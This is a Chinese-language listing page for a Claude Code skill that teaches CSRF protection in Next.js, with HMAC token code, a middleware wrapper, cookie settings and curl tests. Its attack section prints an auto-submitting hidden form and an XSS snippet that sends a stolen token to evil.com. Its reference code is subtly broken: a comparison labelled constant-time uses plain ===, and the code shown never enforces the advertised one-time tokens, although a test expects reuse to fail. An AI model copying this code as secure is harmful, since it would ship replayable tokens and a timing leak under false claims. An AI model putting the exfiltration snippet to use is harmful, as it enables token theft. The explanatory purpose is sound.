mcpField
C
csrf-protection

csrf-protection

github.com/harperaa安全19205 次安装46 周前更新
代码仓库

关于 csrf-protection

csrf-protection 是帮助开发者防范跨站请求伪造的技能,介绍如何保护 Web 应用中的状态变更请求。内容涵盖会话绑定的一次性 HMAC 令牌及 Next.js 处理器封装。

主要功能

  1. 01HMAC-SHA256 令牌签名
  2. 02会话绑定的一次性令牌
  3. 03withCsrf 处理器封装
  4. 04HTTP-only 与 SameSite Cookie
  5. 05令牌获取和请求示例

适用场景

  1. 01保护 POST、PUT 和 DELETE 路由
  2. 02为 Next.js API 添加 CSRF 检查
  3. 03测试缺失、无效或重复使用的令牌

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/harperaa/secure-claude-skills --skill csrf-protection

安装后在 Claude Code 中输入/csrf-protection确认已加载。

详细介绍

CSRF 防护——防止跨站请求伪造

什么是 CSRF 攻击

攻击场景

想象一下,你已登录银行应用。在另一个标签页中,你访问了一个恶意网站。该网站包含一段隐藏代码,会向你的银行提交表单:“向攻击者的账户转账 10,000 美元。”由于你已登录,浏览器会自动发送你的会话 Cookie,银行便会处理这笔转账。

这就是跨站请求伪造——诱骗浏览器发起你并未打算发出的请求。

现实中的 CSRF 攻击

路由器 DNS 劫持(2008 年): 多个家用路由器中的 CSRF 漏洞允许攻击者诱骗用户访问恶意网站,从而更改路由器的 DNS 设置。受害者虽然没有损失金钱,却连续数月被重定向到钓鱼网站。数百万台路由器受到影响。

YouTube 操作(2012 年): YouTube 存在 CSRF 漏洞,攻击者可以诱骗用户访问特制 URL,从而冒充其他用户执行操作(点赞、订阅等)。

CSRF 为何仍然常见

根据 OWASP 的数据,在35% 的受测 Web 应用中都发现了 CSRF 漏洞。为什么?

  • 漏洞生效时毫无迹象(用户不知道自己发出了请求)
  • 很容易忘记实现防护(没有明显的功能故障)
  • 开发者常常只依赖身份验证,而不检查请求来源

我们的 CSRF 架构

实现特性
  1. HMAC-SHA256 加密签名(行业标准)

    • 提供令牌由我们的服务生成的加密证明
    • 即使令牌被拦截,攻击者没有密钥也无法伪造令牌
  2. 与会话绑定的令牌

    • 令牌不能跨不同用户会话使用
    • 每位用户都会获得唯一的令牌
  3. 一次性令牌

    • 验证后即清除令牌
    • 可被利用的时间窗口只有几秒,而不是几小时
    • 即使令牌被截获,在一次请求后也会失效
  4. 仅限 HTTP 的 Cookie

    • JavaScript 无法访问令牌
    • 可防止基于 XSS 的令牌窃取
  5. SameSite=Strict

    • 浏览器不会在跨源请求中发送 Cookie
    • 提供额外一层防护
实现文件
  • lib/csrf.ts - 加密令牌生成
  • lib/withCsrf.ts - 强制验证的中间件
  • app/api/csrf/route.ts - 面向客户端的令牌端点

如何使用 CSRF 防护

步骤 1:包装处理程序

对于任何 POST/PUT/DELETE 端点:

import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
步骤 2:客户端获取令牌

发起受保护的请求前,先获取 CSRF 令牌:

// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
步骤 3:自动执行的操作

当 withCsrf() 包装处理程序时:

  1. 从 X-CSRF-Token 请求头提取 CSRF 令牌
  2. 从请求中提取 CSRF Cookie
  3. 使用 HMAC 验证令牌是否与 Cookie 匹配
  4. 验证后清除令牌(一次性使用)
  5. 如果有效 → 调用你的处理程序
  6. 如果无效 → 返回 HTTP 403 Forbidden

完整示例:受保护的联系表单

// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: '[email protected]',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

前端集成示例

// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}

攻击场景与防护

攻击 1:恶意网站提交表单

攻击:


<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>

防护:

  • 请求中没有 CSRF 令牌 → withCsrf() 返回 403
  • 用户账户安全
攻击 2:XSS 尝试读取令牌

攻击:

// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });

防护:

  • 令牌只能使用一次
  • 即使被窃取,也会在一次请求后过期
  • HTTPOnly Cookie 可防止 Cookie 被窃取
  • SameSite=Strict 可防止跨源发送 Cookie
攻击 3:中间人拦截令牌

攻击: 攻击者拦截网络流量并获取 CSRF 令牌。

防护:

  • 一次性令牌在使用一次后即失效
  • 生产环境要求使用 HTTPS(由 HSTS 强制执行)
  • 可被利用的时间窗口很短(几秒)

技术实现细节

令牌生成(lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}
中间件包装器(lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}

CSRF 防护可防止的问题

✅ 跨站请求伪造 - 主要防护 ✅ 会话固定攻击 - 令牌与会话绑定 ✅ 跨源表单提交 - SameSite=Strict ✅ 隐藏 iframe 攻击 - 必须验证令牌 ✅ 一键式攻击 - 获取令牌的步骤可防止此类攻击

应避免的常见错误

❌ 不要跳过 POST/PUT/DELETE 请求的 CSRF 防护

// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}

❌ 不要将 CSRF 令牌放在 URL 参数中

// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)

❌ 不要重复使用令牌

// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid

❌ 不要忘记 credentials: 'include'

// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});

✅ 对每项敏感操作都获取新令牌 ✅ 使用 X-CSRF-Token 请求头(不要放在 URL 中) ✅ 为所有会改变状态的操作启用防护 ✅ 结合速率限制以实现最大程度的防护

测试 CSRF 防护

测试 1:有效请求
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK
测试 2:缺少令牌
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing
测试 3:无效令牌
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid
测试 4:重复使用令牌(应失败)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

安全 Cookie 配置

Cookie 安全设置

对于应用中的任何自定义 Cookie,始终使用以下安全设置:

response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});

安全属性说明:

  • httpOnly: true - JavaScript 无法通过 document.cookie 访问 Cookie,防止因 XSS 导致 Cookie 被窃取
  • sameSite: 'strict' - 浏览器不会在跨源请求中发送 Cookie,从而阻止 CSRF
  • secure: true - Cookie 仅通过 HTTPS 发送(防止中间人拦截)
  • maxAge - Cookie 的过期时间,单位为秒(时间越短,安全性越高)
  • path: '/' - Cookie 的有效路径(尽可能限制范围)
应避免的常见 Cookie 错误

❌ 绝不要这样做:

// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });

✅ 始终这样做:

// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});

环境配置

必需的环境变量
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
生成密钥
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ 重要提示:

  • 切勿将密钥提交到版本控制系统
  • 为开发、预发布和生产环境使用不同的密钥
  • 定期轮换密钥(建议每季度一次)

参考资料

后续步骤

  • 进行速率限制防护:使用 rate-limiting skill
  • 进行输入验证:使用 input-validation skill
  • 实现完整的 API 安全防护:结合 CSRF、速率限制和验证
  • 进行测试:使用 security-testing skill

评论

支持 Markdown